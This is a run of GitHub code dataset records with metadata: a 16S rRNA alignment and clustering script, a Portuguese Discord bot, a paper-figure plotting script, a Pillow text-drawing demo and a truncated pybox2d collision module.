Entrez.esearch(db=\"nucleotide\", term=term_+\"[orgn] AND complete genome[title]\", idtype=\"acc\", retMax='1000')\n    record = Entrez.read(handle)\n    gbids = record[\"IdList\"]\n    \n    if len(gbids)==0:\n        print('')\n        print(\"\\\"\"+term_+\"\\\" does not exist\")\n    return gbids\n    \ndef correct_spell(term_):\n    handle = Entrez.espell(term=term_)\n    record = Entrez.read(handle)\n    \n    if record[\"CorrectedQuery\"]!='':\n        term_=record[\"CorrectedQuery\"]\n        print('')\n        print(\"Showing results for \\\"\"+term_+\"\\\"\")\n        \n    return term_\n        \ndef fetch_record(id_):\n    handle = Entrez.efetch(db=\"nucleotide\", id=id_, rettype=\"gb\", retmode=\"text\")\n    record = SeqIO.read(handle, \"genbank\")\n    handle.close()\n    return record\n\ndef extract_16SrRNA(record):\n    for feature in record.features:\n        if feature.type != 'rRNA': continue\n        if feature.qualifiers['product']==['16S ribosomal RNA']:\n            seq=feature.location.extract(record.seq)\n            return seq\n    return None\n\n#####################\n# Execute alignment #\n#####################\n\ndef add_alignment(matrices, seqs, len_seqs_b):\n    len_seqs = len(seqs)\n    canceled = False\n    jobs = multiprocessing.JoinableQueue()\n    results = multiprocessing.Queue()\n    concurrency=multiprocessing.cpu_count()\n    create_processes(seqs, jobs, results, concurrency)\n    add_jobs(len_seqs, len_seqs_b, jobs)\n    \n    try:\n        jobs.join()\n    except KeyboardInterrupt:\n        canceled = True\n    \n    for i in range(len_seqs_b-1):\n        for _ in range(len_seqs - len_seqs_b):\n            matrices.alignment[i].append(None)\n            matrices.distance[i].append(None)\n    for _ in range(len_seqs - len_seqs_b):\n        matrices.alignment.append([None for _ in range(len_seqs-1)])\n        matrices.distance.append([None for _ in range(len_seqs-1)])\n    \n    while not results.empty():\n        result=results.get_nowait()\n        matrices.alignment[result.i1][result.i2-1]  = result.alignment\n        matrices.distance[result.i1][result.i2-1]   = result.distance\n    \n    clustering = neighbor_joining(matrices.distance)\n    \n    return matrices, clustering\n\ndef create_processes(seqs, jobs, results, concurrency):\n    for _ in range(concurrency):\n        process = multiprocessing.Process(target=worker, args=(seqs, jobs, results))\n        process.daemon = True\n        process.start()    \n    \ndef worker(seqs, jobs, results):\n    while True:\n        try:\n            si1, si2 = jobs.get()\n            try:\n                alignment, distance = align(seqs[si1], seqs[si2])\n                result = Result(si1, si2, alignment, distance)\n                results.put(result)\n            except:\n                 pass   \n        finally:\n            jobs.task_done()\n\ndef add_jobs(len_seqs, len_seqs_b, jobs):\n    for i2 in range(len_seqs - len_seqs_b):\n        for i1 in range(len_seqs_b + i2):\n            jobs.put((i1, len_seqs_b + i2))\n\ndef align(seq1, seq2):\n    memo = [[None for _ in range(len(seq2)+1)] for __ in range(len(seq1)+1)]\n    memo[0][0] = MS(0, 'S')\n    for si1 in range(len(seq1)): memo[si1+1][0] = MS((si1+1)*GP, 'H')\n    for si2 in range(len(seq2)): memo[0][si2+1] = MS((si2+1)*GP, 'V')\n    \n    alignment=['' for _ in range(3)]\n    si1=len(seq1)\n    si2=len(seq2)\n    length_of_alignment=0\n    noMatch=0\n    while si1!=0 or si2!=0:\n        length_of_alignment+=1\n        if   maxScore(si1, si2, seq1, seq2, memo).direction=='D':\n            alignment[0] += seq1[si1-1]\n            alignment[1] += '|' if seq1[si1-1]==seq2[si2-1] else ' '\n            alignment[2] += seq2[si2-1]\n            si1-=1\n            si2-=1\n        elif maxScore(si1, si2, seq1, seq2, memo).direction=='V':\n            alignment[0] += '-'\n            alignment[1] += ' '\n            alignment[2] += seq2[si2-1]\n            si2-=1\n            noMatch+=1\n        elif maxScore(si1, si2, seq1, seq2, memo).direction=='H':\n            alignment[0] += seq1[si1-1]\n            alignment[1] += ' '\n            alignment[2] += '-'\n            si1-=1\n            noMatch+=1\n    for i in range(3):\n        alignment[i]=alignment[i][::-1]\n    \n    f = noMatch/length_of_alignment\n    distance = abs(3/4*math.log(1-4*f/3))\n    \n    return alignment, distance\n\ndef maxScore(mi1, mi2, seq1, seq2, memo):\n    if memo[mi1][mi2]: return memo[mi1][mi2]\n    \n    scoreList=[]\n    scoreList.append(maxScore(mi1-1, mi2-1, seq1, seq2, memo).score + SC(seq1[mi1-1], seq2[mi2-1]))\n    scoreList.append(maxScore(mi1  , mi2-1, seq1, seq2, memo).score + GP)\n    scoreList.append(maxScore(mi1-1, mi2  , seq1, seq2, memo).score + GP)\n    \n    direction = scoreList.index(max(scoreList))\n    if   direction == 0: direction = 'D'\n    elif direction == 1: direction = 'V'\n    elif direction == 2: direction = 'H'\n    \n    memo[mi1][mi2] = MS(max(scoreList), direction)\n    return memo[mi1][mi2]\n\n################\n# Make cluster #\n################\n\ndef neighbor_joining(distance_matrix):\n    dm = [dr[:] for dr in distance_matrix]\n    node_list=[i for i in range(len(distance_matrix)+1)]\n    while len(node_list)>2:\n        r=[]\n        for node1 in range(len(node_list)):\n            r_i = 0\n            for node2 in range(len(node_list)):\n                if   node1<node2: r_i += dm[node1][node2-1]\n                elif node1>node2: r_i += dm[node2][node1-1]\n            r_i /= len(node_list)-2\n            r.append(r_i)\n        min_drr=None\n        min_drr_i1=None\n        min_drr_i2=None\n        for di1, dr in enumerate(dm):\n            node1 = di1\n            for di2, d in enumerate(dr[di1:]):\n                node2 = di1+di2+1\n                drr = d - r[node1]- r[node2]\n                if min_drr==None or drr < min_drr:\n                    min_drr = drr\n                    min_drr_i1 = di1\n                    min_drr_i2 = di1+di2+1\n        \n        node_list.append((node_list[min_drr_i1], node_list[min_drr_i2]))\n        node_list.pop(min_drr_i2)\n        node_list.pop(min_drr_i1)\n        \n        dm.append([None for _ in range(len(dm))])\n        for dri, dr in enumerate(dm):\n            if dri in {min_drr_i1, min_drr_i2}: continue\n            d_mi1 = dr[min_drr_i1-1] if dri<min_drr_i1 else dm[min_drr_i1][dri-1]\n            d_mi2 = dr[min_drr_i2-1] if dri<min_drr_i2 else dm[min_drr_i2][dri-1]\n            d_mk = (d_mi1 + d_mi2 - dm[min_drr_i1][min_drr_i2-1])/2\n            dr.append(d_mk)\n        dm.pop(min_drr_i2)\n        dm.pop(min_drr_i1)\n        for dr in dm:\n            dr.pop(min_drr_i2-1)\n            dr.pop(min_drr_i1-1) if min_drr_i1>0 else dr.pop(min_drr_i1-0)\n        \n    clustering = (node_list[0],node_list[1])\n    return clustering\n\n#######################\n# Output informations #\n#######################\n\ndef show_clustering(matrix, clustering):\n    print('')\n    print('{:>3}'.format('') + '|' + \n              '|'.join('{:>6}'.format(str(mi2+1)) for mi2 in range(len(matrix))))\n    for mi1 in range(len(matrix)):\n        print('{:>3}'.format(str(mi1)) + '|' + \n              '|'.join('{:>6}'.format(str('{:.3f}'.format(matrix[mi1][mi2])) if matrix[mi1][mi2]!=None else '') \n                       for mi2 in range(len(matrix))))\n    \n    print('')\n    print(clustering)\n\ndef show_nametable(descriptions_list):\n    print('')\n    for di, description in enumerate(descriptions_list):\n        print('{:>3}'.format(str(di)) + '. ' + description)\n\ndef show_sequence(seqs, si):\n    print('')\n    print(seqs[si])\n\ndef show_alignment(matrices, si1, si2):\n    print('')\n    WIDTH=os.get_terminal_size().columns\n    alignment = matrices.alignment[si1][si2-1]\n    sai=0\n    while sai<len(alignment[0]):\n        length = min(len(alignment[0])-sai, WIDTH)\n        for i in range(3):\n            print(alignment[i][sai:sai+length])\n        print('')\n        sai+=length\n    \n    similarity = 1 - math.tanh(matrices.distance[si1][si2-1]*4/3)\n    print('Similarity: '+str(similarity))\n    \ndef show_help():\n    print(\"\"\"\nUsage:\n    1. input: <academic name>\n    2. input: <command(arg)>\n    \nCommands:\n    nametable()             Show nametable\n    sequence(int)           Show DNA-sequence\n    alignment(int, int)     Show alignment result\n    cluster()               Show clustering result\n    end()                   Stop inputting and start analizing\n    save()                  Save to text file(same directory)\n    exit()                  Exit this application\"\"\")\n\n#####################\n# Save to text file #\n#####################\n    \ndef save_text(descriptions_list, matrix):\n    text=[]\n    for di, description in enumerate(descriptions_list):\n        text.append('{:>3}'.format(str(di)) + '. ' + description)\n    text.append('')\n    \n    for mi1 in range(len(matrix)):\n        for mi2 in range(len(matrix)):\n            if matrix[mi1][mi2]==None: continue\n            similarity = 1 - math.tanh(matrix[mi1][mi2]*4/3)\n            text.append(str(similarity)+', '+str(mi1)+'-'+str(mi2+1))\n            \n    filename=datetime.datetime.now().strftime('%y%m%d%H%M%S')+'.txt'\n    with open(os.getcwd()+'/'+filename,'w') as f:\n        f.write('\\n'.join(text))\n    \nif __name__ == \"__main__\":\n    main()", "repo_name": "86co/bioinformatics", "sub_path": "multiple.py", "file_name": "multiple.py", "file_ext": "py", "file_size_in_byte": 12702, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.setrecursionlimit", "line_number": 14, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 17, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 18, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 19, "usage_type": "call"}, {"api_name": "Bio.Entrez.email", "line_number": 26, "usage_type": "attribute"}, {"api_name": "Bio.Entrez", "line_number": 26, "usage_type": "name"}, {"api_name": "re.search", "line_number": 38, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 48, "usage_type": "call"}, {"api_name": "email_validator.validate_email", "line_number": 85, "usage_type": "call"}, {"api_name": "email_validator.EmailNotValidError", "line_number": 87, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 92, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 93, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 108, "usage_type": "call"}, {"api_name": "Bio.Entrez.esearch", "line_number": 123, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 123, "usage_type": "name"}, {"api_name": "Bio.Entrez.read", "line_number": 124, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 124, "usage_type": "name"}, {"api_name": "Bio.Entrez.espell", "line_number": 133, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 133, "usage_type": "name"}, {"api_name": "Bio.Entrez.read", "line_number": 134, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 134, "usage_type": "name"}, {"api_name": "Bio.Entrez.efetch", "line_number": 144, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 144, "usage_type": "name"}, {"api_name": "Bio.SeqIO.read", "line_number": 145, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 145, "usage_type": "name"}, {"api_name": "multiprocessing.JoinableQueue", "line_number": 164, "usage_type": "call"}, {"api_name": "multiprocessing.Queue", "line_number": 165, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 166, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 194, "usage_type": "call"}, {"api_name": "math.log", "line_number": 251, "usage_type": "call"}, {"api_name": "os.get_terminal_size", "line_number": 347, "usage_type": "call"}, {"api_name": "math.tanh", "line_number": 357, "usage_type": "call"}, {"api_name": "math.tanh", "line_number": 388, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 391, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 391, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 392, "usage_type": "call"}]}
{"seq_id": "419556095", "text": "import os\nimport discord\nimport random\nimport socket\nimport wikipedia\nimport requests\nfrom pytrends.request import TrendReq\nfrom discord.ext import commands\nfrom forex_python.converter import CurrencyRates\nfrom forex_python.bitcoin import BtcConverter\n\nbot = commands.Bot('!')\n\n@bot.event\nasync def on_ready():\n    print('bom dia')\n\n@bot.command(name='oi')\nasync def send_hi(ctx):\n  await ctx.send('oii, espero que esteja bem')\n\n@bot.command(name='manga')\nasync def Manga(ctx):\n  await ctx.send('qual obra deseja procurar?')\n  obra = await bot.wait_for('message', check=lambda message: message.author == ctx.author)\n  obra = str(obra.content)\n  obra = obra.split()\n\n  if obra[0] == 'chobits':\n    link = ('https://mangalivre.net/manga/chobits/4954')\n    await ctx.send(link)\n  else:\n    link = ('https://mangayabu.top/manga/')\n    n = len(obra)\n    for i in range (n):\n      link = (link + obra[i] + '-')\n    await ctx.send(link[:-1])\n\n@bot.command(name='webtoon')\nasync def Webtoon(ctx):\n  await ctx.send('qual obra deseja procurar?')\n  obra = await bot.wait_for('message', check=lambda message: message.author == ctx.author)\n  obra = str(obra.content)\n  obra = obra.split()\n  link = ('https://yabutoons.com/webtoon/')\n  n = len(obra)\n  for i in range (n):\n    link = (link + obra[i] + '-')\n  await ctx.send(link[:-1])\n\n@bot.command(name='pesquisa')\nasync def check_on_wikipedia(ctx):\n  \n  await ctx.send('qual a sua duvida?')\n  query = await bot.wait_for('message', check=lambda message: message.author == ctx.author)\n  query = str(query.content)\n  try:\n    query = query.lower()\n    query = query.replace(\"quem foi\", \"\")\n    query = query.replace(\"quem é\", \"\")\n    query = query.replace(\"o que é\", \"\")\n    query = query.replace(\"você sabe o que é\", \"\")\n    query = query.replace(\"me diga o que é\", \"\")\n    wikipedia.set_lang(\"pt\")\n    resumo = wikipedia.summary(query, sentences=3)\n    await ctx.send(resumo)\n  except:\n    await ctx.send(\"desculpa, mas não foi possivel encontrar sobre \", query)\n\n@bot.command(name='gato')\nasync def cat_fact(ctx):\n  try:\n    requisicao_gato = requests.get('https://cat-fact.herokuapp.com/facts/random?animal_type=cat&amount=2').json()\n    await ctx.send(requisicao_gato[1]['text'])\n  except:\n    await ctx.send(\"a api está com excesso de requisições no momento, peço desculpas por isso, tente mais tarde\")\n\n@bot.command(name='cachorro')\nasync def dog_fact(ctx):\n  try:\n    requisicao_cachorro = requests.get('https://dog-facts-api.herokuapp.com/api/v1/resources/dogs?number=1')\n    curiosidade = requisicao_cachorro.json()\n    await ctx.send(curiosidade[0]['fact'])\n  except:\n    await ctx.send(\"a api está com excesso de requisições no momento, peço desculpas por isso, tente mais tarde\")\n\n@bot.command(name='tendencia')\nasync def tendencia(ctx):\n  pytrends = TrendReq(hl='en-US', tz=360)\n  data = pytrends.trending_searches(pn='brazil')\n  await ctx.send(data)\n\n@bot.command(name='anime')\nasync def anime(ctx):\n  try:\n     computer_choice = random.randint(1, 9000)\n     computer_url = 'https://api.jikan.moe/v3/anime/{}/'.format(computer_choice)\n     computer_response = requests.get(computer_url)\n     a = computer_response.json()['title']\n     await ctx.send(a)\n  except:\n    await ctx.send(\"a api está com excesso de requisições no momento, peço desculpas por isso, tente mais tarde\")\n\n@bot.command(name='cotação')\nasync def moedas(ctx):\n  try:\n    await ctx.send(\"insira o código da moeda que deseja ver a conversão\")\n    moeda = await bot.wait_for('message', check=lambda message: message.author == ctx.author)\n    moeda = str(moeda.content)\n    if (moeda == 'BTC'):\n      b = BtcConverter()\n      b = b.get_latest_price('BRL')\n      await ctx.send ('R$ {:.3}'.format(b))\n    else:\n      c = CurrencyRates()\n      await ctx.send ('R$ {:.3}'.format(c.convert(moeda, 'BRL', 1)))\n  except(KeyError):\n    await ctx.send(\"chii:código inserido não é invalido, tente de novo\")\n  except:\n    await ctx.send(\"a api atingiu o limite de requisições, por favor tente novamente quando renovar as requisições\")\n\n@bot.command(name='dado')\nasync def dado(ctx):\n  await ctx.send(\"insira o numero maximo que se pode tirar no dado\")\n  n = await bot.wait_for('message', check=lambda message: message.author == ctx.author)\n  n = int(str(n.content))\n  dado = random.randint(1, n)\n  await ctx.send(\"que a sorte esteja com você\")\n  await ctx.send(\"o numero sorteado foi {}\".format(dado))\n\nbot.run(os.environ['TOKEN'])\n", "repo_name": "angelo-rossini/Chii_bot", "sub_path": "Chii_bot.py", "file_name": "Chii_bot.py", "file_ext": "py", "file_size_in_byte": 4467, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "discord.ext.commands.Bot", "line_number": 12, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 12, "usage_type": "name"}, {"api_name": "wikipedia.set_lang", "line_number": 64, "usage_type": "call"}, {"api_name": "wikipedia.summary", "line_number": 65, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 73, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 81, "usage_type": "call"}, {"api_name": "pytrends.request", "line_number": 89, "usage_type": "name"}, {"api_name": "pytrends.request.TrendReq", "line_number": 89, "usage_type": "call"}, {"api_name": "pytrends.request.trending_searches", "line_number": 90, "usage_type": "call"}, {"api_name": "pytrends.request", "line_number": 90, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 96, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 98, "usage_type": "call"}, {"api_name": "forex_python.bitcoin.BtcConverter", "line_number": 111, "usage_type": "call"}, {"api_name": "forex_python.converter.CurrencyRates", "line_number": 115, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 127, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 131, "usage_type": "attribute"}]}
{"seq_id": "17066209528", "text": "from scipy.stats import ttest_rel\nimport numpy as np\nfrom ssl_main.const import LINE_WIDTH, FONT_DICT\nfrom figures.PaperFigures import save_fig, load_da_data, results_dict_to_pd, format_axis\nimport matplotlib.pyplot as plt\nfrom matplotlib import rc\nfrom matplotlib.patches import Patch\nfrom tab_2 import task_names\nimport sys\n\n\ndef init_fig():\n    fig = plt.figure(figsize=(6, 4))\n    return fig\n\n\ndef draw_box_pair(result_df, i_box_pair):\n    with_ssl_ = result_df[result_df['use_ssl'] == True][metric].values\n    no_ssl_ = result_df[result_df['use_ssl'] == False][metric].values\n    boxes_ = []\n    for i_cond, data_ in enumerate([with_ssl_, no_ssl_]):\n        meanpointprops = dict(marker='D', markeredgecolor='none', markerfacecolor='white', markersize=7)\n        box_ = plt.boxplot(data_, positions=[i_cond + 4 * i_box_pair], widths=[0.8], patch_artist=True,\n                           meanprops=meanpointprops, showmeans=True)\n        for field in ['medians', 'whiskers', 'caps', 'boxes']:\n            [box_[field][i].set(linewidth=LINE_WIDTH, color=colors[i_cond]) for i in range(len(box_[field]))]\n        [box_['fliers'][i].set(marker='o', markeredgecolor=colors[i_cond], markerfacecolor=colors[i_cond],\n                               markersize=2.5) for i in range(len(box_['fliers']))]\n        box_['medians'][0].set(linewidth=LINE_WIDTH, color=[1, 1, 1])\n        boxes_.append(box_['whiskers'])\n\n    p_val = ttest_rel(with_ssl_, no_ssl_).pvalue\n    top_line_y = 1.04\n    if p_val < 0.05:\n        plt.plot([4 * i_box_pair, 4 * i_box_pair, 4 * i_box_pair + 1, 4 * i_box_pair + 1],\n                 [max(with_ssl_) + 0.04, top_line_y, top_line_y, max(no_ssl_) + 0.04], linewidth=LINE_WIDTH, color='black')\n        plt.text(4 * i_box_pair + 0.3, top_line_y + 0.01, '*', fontdict={'fontname': 'Times New Roman'}, size=20, zorder=20)\n\n\ndef finalize_fig():\n    def format_ticks():\n        ax.set_ylabel('Correlation Coefficient - {}'.format(fig_config[i_fig]['ylabel']), fontdict=FONT_DICT)\n        x_range = (-1, 10)\n        ax.set_xlim(x_range[0], x_range[1])\n        ax.tick_params(bottom=False)\n\n        ax.set_xticks(np.arange(0.5, x_range[1], 4))\n        ax.set_xticklabels(['Task 1 -\\nRunning VALR', 'Task 2 -\\nWalking vGRF',\n                            'Task 3 -\\nWalking KFM'], fontdict=FONT_DICT)\n\n        ylim_up = 1.2\n        if np.min(ylim_ori[0]) < 0.4:\n            ylim_down = 0.2\n            ticks = [.2, .4, .6, .8, 1., 1.2]\n        else:\n            ylim_down = 0.4\n            ticks = [.4, .6, .8, 1., 1.2]\n        ax.set_ylim(ylim_down, ylim_up)\n        ax.set_yticks(ticks)     # [.4, .5, .6, .7, .8, .9, 1., 1.1]\n        ax.set_yticklabels(ticks, fontdict=FONT_DICT)\n\n    ax = plt.gca()\n    ylim_ori = ax.get_ylim()\n    format_ticks()\n    format_axis()\n    legend_elements = [Patch(facecolor=colors[0], label='Color Patch'),\n                       Patch(facecolor=colors[1], label='Color Patch')]\n    plt.legend(legend_elements, ['Self-Supervised Encoders', 'Initial Encoders'], bbox_to_anchor=(0.65, 1.22 - 0.2 * (ylim_ori[0])),\n               ncol=1, fontsize=FONT_DICT['fontsize'], frameon=False)\n    plt.tight_layout(rect=[0., 0., 1., 1.01])\n    save_fig(fig_name)\n\n\ndata_path = sys.path[0] + '/results/0_contrastive_on_MoVi'\ncolors = [np.array([125, 172, 80]) / 255, np.array([130, 130, 130]) / 255]\nrc('font', family='Arial')\nfig_config = [\n    {'ylabel': 'Fine-Tuning'},\n    {'ylabel': 'Linear'},\n]\n\nif __name__ == \"__main__\":\n    metric = 'correlation'\n    for i_fig, (only_linear, fig_name) in enumerate(zip([False, True], ['f2', 'f3'])):\n        init_fig()\n        for i_task, task_name in enumerate(task_names):\n            results_task = load_da_data(data_path + task_name + '.h5')\n            result_df = results_dict_to_pd(results_task)\n            result_df = result_df[(result_df['ratio'] == 1.) & (result_df['only_linear'] == only_linear)]\n            draw_box_pair(result_df, i_task)\n        finalize_fig()\n    plt.show()\n\n\n\n\n\n\n\n\n", "repo_name": "StanfordMIMI/SSL_IMU", "sub_path": "figures/old_f3.py", "file_name": "old_f3.py", "file_ext": "py", "file_size_in_byte": 3975, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.boxplot", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "ssl_main.const.LINE_WIDTH", "line_number": 26, "usage_type": "name"}, {"api_name": "ssl_main.const.LINE_WIDTH", "line_number": 29, "usage_type": "name"}, {"api_name": "scipy.stats.ttest_rel", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "ssl_main.const.LINE_WIDTH", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "ssl_main.const.FONT_DICT", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 47, "usage_type": "call"}, {"api_name": "ssl_main.const.FONT_DICT", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 52, "usage_type": "call"}, {"api_name": "ssl_main.const.FONT_DICT", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "figures.PaperFigures.format_axis", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.patches.Patch", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.patches.Patch", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "ssl_main.const.FONT_DICT", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "figures.PaperFigures.save_fig", "line_number": 71, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.rc", "line_number": 76, "usage_type": "call"}, {"api_name": "tab_2.task_names", "line_number": 86, "usage_type": "argument"}, {"api_name": "figures.PaperFigures.load_da_data", "line_number": 87, "usage_type": "call"}, {"api_name": "figures.PaperFigures.results_dict_to_pd", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}]}
{"seq_id": "25363953001", "text": "from PIL import Image, ImageDraw, ImageFont\n\n\ndef save_image():\n    img = Image.new('RGB', (200, 200), (255, 0, 0))\n    img.save('D:\\\\test.png', 'png')\n\n\ndef write_text_to_image():\n    # 载入图片\n    img = Image.open('D:\\\\test.png')\n    # 载入字体及大小\n    font = ImageFont.truetype('data/神韵哈天随性体.ttf', 30)\n    # 获取图片宽度和高度\n    w, h = img.size\n    # 创建图像\n    draw = ImageDraw.Draw(img)\n    # 写入文字\n    draw.text((0.5 * w, 0.2 * h), '中文', font=font, fill=(0, 0, 255))\n    # 保存图像\n    img.save('D:\\\\deal.png', 'png')\n\n\ndef show_image_in_plt():\n    # 载入图片\n    img = Image.open('E:\\\\我的图片\\\\QQ图片20170914200717.jpg')\n    # 载入字体及大小\n    font = ImageFont.truetype('data/神韵哈天随性体.ttf', 100)\n    # 获取图片宽度和高度\n    w, h = img.size\n    # 创建图像\n    draw = ImageDraw.Draw(img)\n    # 写入文字\n    draw.text((0.5 * w, 0.2 * h), '程序猿', font=font, fill=(255, 0, 0))\n    # 显示图像\n    # plt.imshow(img)\n    # plt.axis('off')\n    # plt.show()\n    img.show()\n\n\nshow_image_in_plt()\n", "repo_name": "llfwer/python", "sub_path": "other/Pillow学习.py", "file_name": "Pillow学习.py", "file_ext": "py", "file_size_in_byte": 1112, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PIL.Image.new", "line_number": 5, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 5, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 11, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 11, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 13, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 13, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 17, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 17, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 26, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 26, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 28, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 28, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 32, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 32, "usage_type": "name"}]}
{"seq_id": "41831772538", "text": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n#\r\n# C++ version Copyright (c) 2006-2011 Erin Catto http://www.box2d.org\r\n# Python port by Ken Lauer / http://pybox2d.googlecode.com\r\n# \r\n# This software is provided 'as-is', without any express or implied\r\n# warranty.  In no event will the authors be held liable for any damages\r\n# arising from the use of this software.\r\n# Permission is granted to anyone to use this software for any purpose,\r\n# including commercial applications, and to alter it and redistribute it\r\n# freely, subject to the following restrictions:\r\n# 1. The origin of this software must not be misrepresented; you must not\r\n# claim that you wrote the original software. If you use this software\r\n# in a product, an acknowledgment in the product documentation would be\r\n# appreciated but is not required.\r\n# 2. Altered source versions must be plainly marked as such, and must not be\r\n# misrepresented as being the original software.\r\n# 3. This notice may not be removed or altered from any source distribution.\r\n\r\nfrom __future__ import absolute_import\r\n\r\n__all__ = ('ABSOLUTE_TOL', 'RELATIVE_TOL',\r\n           'ISOLATED', 'CONCAVE', 'FLAT', 'CONVEX',\r\n           'collide_circles', 'collide_polygon_circle', \r\n           'collide_polygons', 'collide_edge_circle', 'collide_edge_polygon',\r\n           'EPAxis', 'EPFatEdge', 'EPProxy', 'EPCollider'\r\n           )\r\n__version__ = \"$Revision$\"\r\n__date__ = \"$Date$\"\r\n# $Source$\r\n\r\nfrom .common import (Vec2, distance_squared)\r\nfrom .collision_util import (max_separation, find_incident_edge, clip_segment_to_line)\r\nfrom .contact_util import (ManifoldPoint, ClipVertex, Manifold)\r\nfrom .settings import (MAX_FLOAT, EPSILON, MAX_MANIFOLD_POINTS, POLYGON_RADIUS, ANGULAR_SLOP)\r\n\r\n# -- defines --\r\nRELATIVE_TOL = 0.98\r\nABSOLUTE_TOL = 0.001\r\n\r\n# Edge types\r\nISOLATED, CONCAVE, FLAT, CONVEX = range(4)\r\n\r\n# -- circles --\r\ndef collide_circles(manifold, circle_a, xf_a, circle_b, xf_b):\r\n    manifold.point_count = 0\r\n    pa = xf_a * circle_a.position\r\n    pb = xf_b * circle_b.position\r\n\r\n    d = pb - pa\r\n    dist_sqr = d.length_squared\r\n    ra = circle_a.radius\r\n    rb = circle_b.radius\r\n    radius = ra + rb\r\n    if dist_sqr > radius**2:\r\n        return\r\n\r\n    manifold.type = Manifold.CIRCLES\r\n    manifold.local_point = Vec2(*circle_a.position)\r\n    manifold.local_normal = Vec2()\r\n    manifold.point_count = 1\r\n\r\n    point=manifold.points[0]\r\n    point.local_point = Vec2(*circle_b.position)\r\n    point.set_id(0,0,0,0)\r\n\r\ndef collide_polygon_circle(manifold, polygon_a, xf_a, circle_b, xf_b):\r\n    manifold.point_count = 0\r\n    \r\n    # Compute circle position in the frame of the polygon\r\n    c = xf_b * circle_b.position\r\n    c_local = xf_a.mul_t(c)\r\n\r\n    # Find the min separating edge\r\n    normal_index = 0\r\n    separation = -MAX_FLOAT\r\n    radius = polygon_a.radius + circle_b.radius\r\n\r\n    vertices = polygon_a._vertices\r\n    normals = polygon_a._normals\r\n\r\n    vertex_count = len(vertices)\r\n   \r\n    for i in range(vertex_count):\r\n        s = normals[i].dot(c_local - vertices[i])\r\n\r\n        if s > 